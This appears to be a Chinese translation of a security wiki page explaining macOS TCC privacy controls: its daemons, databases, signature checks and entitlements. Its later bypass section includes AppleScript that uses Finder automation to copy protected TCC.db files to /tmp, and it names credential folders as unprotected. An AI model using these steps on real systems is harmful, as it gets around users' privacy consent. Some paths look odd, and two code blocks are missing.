macOS TCC
基本信息
TCC(透明度、同意和控制)是一种安全协议,专注于规范应用程序权限。其主要作用是保护诸如位置服务、联系人、照片、麦克风、摄像头、辅助功能和完全磁盘访问等敏感功能。通过在授予应用程序对这些元素访问之前强制要求明确用户同意,TCC增强了隐私和用户对其数据的控制。
用户在应用程序请求访问受保护功能时会遇到TCC。这通过一个提示可见,允许用户批准或拒绝访问。此外,TCC支持直接用户操作,例如将文件拖放到应用程序中,以授予对特定文件的访问权限,确保应用程序仅能访问明确允许的内容。

TCC由位于/System/Library/PrivateFrameworks/TCC.framework/Support/tccd的守护程序处理,并在/System/Library/LaunchDaemons/com.apple.tccd.system.plist中进行配置(注册mach服务com.apple.tccd.system)。
每个已登录用户定义的用户模式tccd在/System/Library/LaunchAgents/com.apple.tccd.plist中运行,注册mach服务com.apple.tccd和com.apple.usernotifications.delegate.com.apple.tccd。
在这里,您可以看到作为系统和用户运行的tccd:
ps -ef | grep tcc
0 374 1 0 Thu07PM ?? 2:01.66 /System/Library/PrivateFrameworks/TCC.framework/Support/tccd system
501 63079 1 0 6:59PM ?? 0:01.95 /System/Library/PrivateFrameworks/TCC.framework/Support/tccd权限是从父应用程序继承的,权限是基于Bundle ID和Developer ID进行跟踪。
TCC数据库
然后将允许/拒绝存储在一些TCC数据库中:
系统范围的数据库位于
/Library/Application Support/com.apple.TCC/TCC.db。此数据库受到 SIP 保护,因此只有 SIP 绕过才能写入其中。
用户TCC数据库
$HOME/Library/Application Support/com.apple.TCC/TCC.db用于每个用户的偏好设置。此数据库受保护,因此只有具有高TCC权限的进程(如完全磁盘访问)才能写入其中(但不受 SIP 保护)。
先前的数据库也受到 TCC 保护以进行读取访问。因此,除非是来自具有TCC特权进程的情况,否则您将无法读取常规用户TCC数据库。
但是,请记住,具有这些高权限的进程(如 FDA 或 kTCCServiceEndpointSecurityClient)将能够写入用户的TCC数据库。
还有一个 第三个 TCC 数据库位于
/var/db/locationd/clients.plist,用于指示允许访问位置服务的客户端。受 SIP 保护的文件
/Users/carlospolop/Downloads/REG.db(也受到 TCC 的读取访问保护),包含所有有效TCC数据库的位置。受 SIP 保护的文件
/Users/carlospolop/Downloads/MDMOverrides.plist(也受到 TCC 的读取访问保护),包含更多TCC授予的权限。受 SIP 保护的文件
/Library/Apple/Library/Bundles/TCC_Compatibility.bundle/Contents/Resources/AllowApplicationsList.plist(但任何人都可以读取)是需要TCC异常的应用程序的允许列表。
iOS 中的TCC数据库位于 /private/var/mobile/Library/TCC/TCC.db
查询数据库
sqlite3 ~/Library/Application\ Support/com.apple.TCC/TCC.db
sqlite> .schema
# Tables: admin, policies, active_policy, access, access_overrides, expired, active_policy_id
# The table access contains the permissions per services
sqlite> select service, client, auth_value, auth_reason from access;
kTCCServiceLiverpool|com.apple.syncdefaultsd|2|4
kTCCServiceSystemPolicyDownloadsFolder|com.tinyspeck.slackmacgap|2|2
kTCCServiceMicrophone|us.zoom.xos|2|2
[...]
# Check user approved permissions for telegram
sqlite> select * from access where client LIKE "%telegram%" and auth_value=2;
# Check user denied permissions for telegram
sqlite> select * from access where client LIKE "%telegram%" and auth_value=0;sqlite3 /Library/Application\ Support/com.apple.TCC/TCC.db
sqlite> .schema
# Tables: admin, policies, active_policy, access, access_overrides, expired, active_policy_id
# The table access contains the permissions per services
sqlite> select service, client, auth_value, auth_reason from access;
kTCCServiceLiverpool|com.apple.syncdefaultsd|2|4
kTCCServiceSystemPolicyDownloadsFolder|com.tinyspeck.slackmacgap|2|2
kTCCServiceMicrophone|us.zoom.xos|2|2
[...]
# Get all FDA
sqlite> select service, client, auth_value, auth_reason from access where service = "kTCCServiceSystemPolicyAllFiles" and auth_value=2;
# Check user approved permissions for telegram
sqlite> select * from access where client LIKE "%telegram%" and auth_value=2;
# Check user denied permissions for telegram
sqlite> select * from access where client LIKE "%telegram%" and auth_value=0;检查这两个数据库,您可以检查应用程序已允许、已禁止或未拥有的权限(它会请求权限)。
service是 TCC 权限的字符串表示client是具有权限的 Bundle ID 或二进制文件路径client_type指示它是 Bundle 标识符(0)还是绝对路径(1)
auth_value可以有不同的值: denied(0), unknown(1), allowed(2), 或 limited(3)。auth_reason可以采用以下值: Error(1), User Consent(2), User Set(3), System Set(4), Service Policy(5), MDM Policy(6), Override Policy(7), Missing usage string(8), Prompt Timeout(9), Preflight Unknown(10), Entitled(11), App Type Policy(12)csreq 字段用于指示如何验证要执行的二进制文件并授予 TCC 权限:
# Query to get cserq in printable hex
select service, client, hex(csreq) from access where auth_value=2;
# To decode it (https://stackoverflow.com/questions/52706542/how-to-get-csreq-of-macos-application-on-command-line):
BLOB="FADE0C000000003000000001000000060000000200000012636F6D2E6170706C652E5465726D696E616C000000000003"
echo "$BLOB" | xxd -r -p > terminal-csreq.bin
csreq -r- -t < terminal-csreq.bin
# To create a new one (https://stackoverflow.com/questions/52706542/how-to-get-csreq-of-macos-application-on-command-line):
REQ_STR=$(codesign -d -r- /Applications/Utilities/Terminal.app/ 2>&1 | awk -F ' => ' '/designated/{print $2}')
echo "$REQ_STR" | csreq -r- -b /tmp/csreq.bin
REQ_HEX=$(xxd -p /tmp/csreq.bin | tr -d '\n')
echo "X'$REQ_HEX'"要了解表格的其他字段的更多信息,请查看此博客文章。
您还可以在系统偏好设置 --> 安全性与隐私 --> 隐私 --> 文件和文件夹中查看已授予的权限给应用程序。
用户可以使用**tccutil** 删除或查询规则。
重置 TCC 权限
# You can reset all the permissions given to an application with
tccutil reset All app.some.id
# Reset the permissions granted to all apps
tccutil reset AllTCC 签名检查
TCC 数据库 存储了应用程序的 Bundle ID,但它还存储了有关签名的 信息,以确保请求使用权限的应用程序是正确的应用程序。
# From sqlite
sqlite> select service, client, hex(csreq) from access where auth_value=2;
#Get csreq
# From bash
echo FADE0C00000000CC000000010000000600000007000000060000000F0000000E000000000000000A2A864886F763640601090000000000000000000600000006000000060000000F0000000E000000010000000A2A864886F763640602060000000000000000000E000000000000000A2A864886F7636406010D0000000000000000000B000000000000000A7375626A6563742E4F550000000000010000000A364E33385657533542580000000000020000001572752E6B656570636F6465722E54656C656772616D000000 | xxd -r -p - > /tmp/telegram_csreq.bin
## Get signature checks
csreq -t -r /tmp/telegram_csreq.bin
(anchor apple generic and certificate leaf[field.1.2.840.113635.100.6.1.9] /* exists */ or anchor apple generic and certificate 1[field.1.2.840.113635.100.6.2.6] /* exists */ and certificate leaf[field.1.2.840.113635.100.6.1.13] /* exists */ and certificate leaf[subject.OU] = "6N38VWS5BX") and identifier "ru.keepcoder.Telegram"因此,使用相同名称和捆绑标识的其他应用程序将无法访问授予其他应用程序的权限。
权限和TCC权限
应用程序不仅需要请求并获得对某些资源的访问权限,还需要具有相关的权限。
例如,Telegram具有权限com.apple.security.device.camera来请求访问摄像头。没有此权限的应用程序将无法访问摄像头(用户甚至不会被询问权限)。
但是,要访问某些用户文件夹,例如~/Desktop、~/Downloads和~/Documents,它们不需要具有任何特定的权限。系统将透明地处理访问并根据需要提示用户。
苹果的应用程序不会生成提示。它们在其权限列表中包含预授予权利,这意味着它们永远不会生成弹出窗口,也不会出现在任何TCC数据库中。例如:
codesign -dv --entitlements :- /System/Applications/Calendar.app
[...]
<key>com.apple.private.tcc.allow</key>
<array>
<string>kTCCServiceReminders</string>
<string>kTCCServiceCalendar</string>
<string>kTCCServiceAddressBook</string>
</array>这将避免日历请求用户访问提醒事项、日历和通讯簿。
除了一些关于授权的官方文档之外,还可以在https://newosxbook.com/ent.jl找到一些非官方有关授权的有趣信息。
一些TCC权限包括:kTCCServiceAppleEvents、kTCCServiceCalendar、kTCCServicePhotos... 没有公开的列表定义了所有这些权限,但你可以查看这个已知权限列表。
敏感且无保护的位置
$HOME(本身)
$HOME/.ssh、$HOME/.aws 等
/tmp
用户意图 / com.apple.macl
如前所述,可以通过将文件拖放到应用程序中来授予应用程序对文件的访问权限。这种访问权限不会在任何TCC数据库中指定,而是作为文件的扩展属性。该属性将存储允许应用程序的 UUID:
xattr Desktop/private.txt
com.apple.macl
# Check extra access to the file
## Script from https://gist.githubusercontent.com/brunerd/8bbf9ba66b2a7787e1a6658816f3ad3b/raw/34cabe2751fb487dc7c3de544d1eb4be04701ac5/maclTrack.command
macl_read Desktop/private.txt
Filename,Header,App UUID
"Desktop/private.txt",0300,769FD8F1-90E0-3206-808C-A8947BEBD6C3
# Get the UUID of the app
otool -l /System/Applications/Utilities/Terminal.app/Contents/MacOS/Terminal| grep uuid
uuid 769FD8F1-90E0-3206-808C-A8947BEBD6C3扩展属性 com.apple.macl 无法像其他扩展属性一样清除,因为它受到 SIP 保护。然而,正如在这篇文章中解释的,可以通过压缩文件,删除它,然后解压来禁用它。
TCC权限提升和绕过
插入到TCC
如果您在某个时刻成功获得对 TCC 数据库的写访问权限,可以使用类似以下内容来添加条目(删除注释):
TCC Payloads
如果您成功进入一个带有某些TCC权限的应用程序,请查看以下页面,其中包含可滥用这些权限的TCC有效载荷:
macOS TCC PayloadsApple 事件
了解有关 Apple 事件的信息:
macOS Apple Events自动化(Finder)到 FDA*
自动化权限的TCC名称是:kTCCServiceAppleEvents
此特定的TCC权限还指示了可以在TCC数据库中管理的应用程序(因此权限不允许仅管理所有内容)。
Finder 是一个始终具有 FDA 的应用程序(即使在 UI 中看不到),因此如果您对其具有自动化权限,您可以滥用其权限执行一些操作。
在这种情况下,您的应用程序需要对 com.apple.Finder 具有 kTCCServiceAppleEvents 权限。
# This AppleScript will copy the system TCC database into /tmp
osascript<<EOD
tell application "Finder"
set homeFolder to path to home folder as string
set sourceFile to (homeFolder & "Library:Application Support:com.apple.TCC:TCC.db") as alias
set targetFolder to POSIX file "/tmp" as alias
duplicate file sourceFile to targetFolder with replacing
end tell
EODosascript<<EOD
tell application "Finder"
set sourceFile to POSIX file "/Library/Application Support/com.apple.TCC/TCC.db" as alias
set targetFolder to POSIX file "/tmp" as alias
duplicate file sourceFile to targetFolder with replacing
end tell
EOD您可以滥用这个漏洞来编写自己的用户 TCC 数据库。
有了这个权限,您将能够要求 Finder 访问 TCC 受限文件夹并提供文件,但据我所知,您无法让 Finder 执行任意代码来充分滥用他的 FDA 访问权限。
因此,您将无法滥用完整的 FDA 能力。
这是获取 Finder 上的自动化权限的 TCC 提示:

请注意,因为Automator 应用程序具有 TCC 权限 kTCCServiceAppleEvents,它可以控制任何应用程序,比如 Finder。因此,拥有控制 Automator 的权限,您也可以使用以下代码控制Finder:
最后更新于